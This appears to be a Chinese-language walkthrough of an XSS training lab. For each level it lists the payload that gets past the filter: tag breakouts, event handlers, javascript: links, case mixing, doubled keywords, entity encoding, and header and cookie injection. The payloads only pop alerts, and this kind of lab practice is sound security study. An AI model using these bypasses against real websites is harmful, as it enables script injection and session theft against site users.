第一關

直接在URL輸入
?name=<script>alert('xss')</script>

第二關
找源碼,輸入test,value值變為test,我們可以在輸入框嘗試xss攻擊

閉合前面的input標簽,在插入代碼
payload
"><script>alert('xss')</script>

第三關
依舊輸入test找注入點

輸入"><script>alert('xss')</script>

htmlspecialchars()轉義成HTML實體
但是htmlspecialchars在默認情況下不會轉義單引號,需要設置quotestyle才會進行轉義
我們可以從單引號測試 payload
'onclick='window.alert()


第四關
嘗試輸入<script>alert('xss')</script>

明顯的過濾掉了 < >
這里構造payload繞過 < >
"onclick="window.alert('xss')

第五關
嘗試輸入<script>alert('xss')</script>

將前面的script變成scr_ipt
用其他語句繞過
輸入"onlick="window.alert()

依舊替換 on變成o_n
我們采用JavaScript偽協議
"><a href="javascript:alert('xss')">1</a>

點擊 1 成功繞過

第六關
直接測試了一下,過濾了很多,查看源碼

我們可以采用大小寫混合拼寫繞過
"><img Src=x Onerror=alert(1)>

第七關
測試了一下,script跟on等直接沒了
推測被替換成空,查看源碼

果不其然,替換為空,一般采用雙寫繞過
"><scrscriptipt>alert('xss')</scrscriptipt>

第八關
輸入tes

查看源碼,過濾了很多,雙引號也被過濾掉了

這里我們只要輸入JavaScript:alert(‘xss’)即可
但是script被替換成scr_ipt
我們可以采用編碼的形式繞過
payload
javascript:alert() #HTML實體編碼(HEX) javascript:alert() #HTML實體編碼(DEC)
這是實體編碼 entity code
「&#」開頭的后接十進制數字,「&#x」開頭的后接十六進制數字。

第九關
輸入test測試一下,test出現在value值里面

查看源碼,比之前多了一串,需要添加http://,否則無效

那么就添加http://
/*這是是注釋*/
構造payload
javascript:alert()/*http://www.test.com*/

第十關

分析源碼,keyword跟t_sort兩個可以進行get傳值,同時t_sort過濾掉了<>,並且t_sort隱藏了
構造payload
?t_sort="onclick="alert()"type="text"
?t_sort=" onclick="alert()" type="text"


第十一關

可以用HTTP頭的referer進行注入,這里我們需要burpsuite抓包
payload
t_sort="type="text" onclick="alert(1)


第十二關

這里是HTTP頭中的Uuser-agent進行注入
構造payload
"type="text" onclick="alert(1)
在User-Agent后面跟隨payload即可


第十三關

cookie注入
user=" type="text" onclick="alert(1)"

第十四關
PASS
第十五關

ng-include 指令用於包含外部的 HTML 文件
ng-include 屬性的值可以是一個表達式,返回一個文件名。
payload
http://localhost/xss/level15.php?src='level1.php?name=test<img src=1 onerror=alert(1)>'
第十六關

轉義成HTML實體,黑名單容易忽略過濾的字符
payload
?keyword=<img%0asrc=1%0aonerror=alert()>
%0a %0b %0c %0d (回車換行) 空格繞過

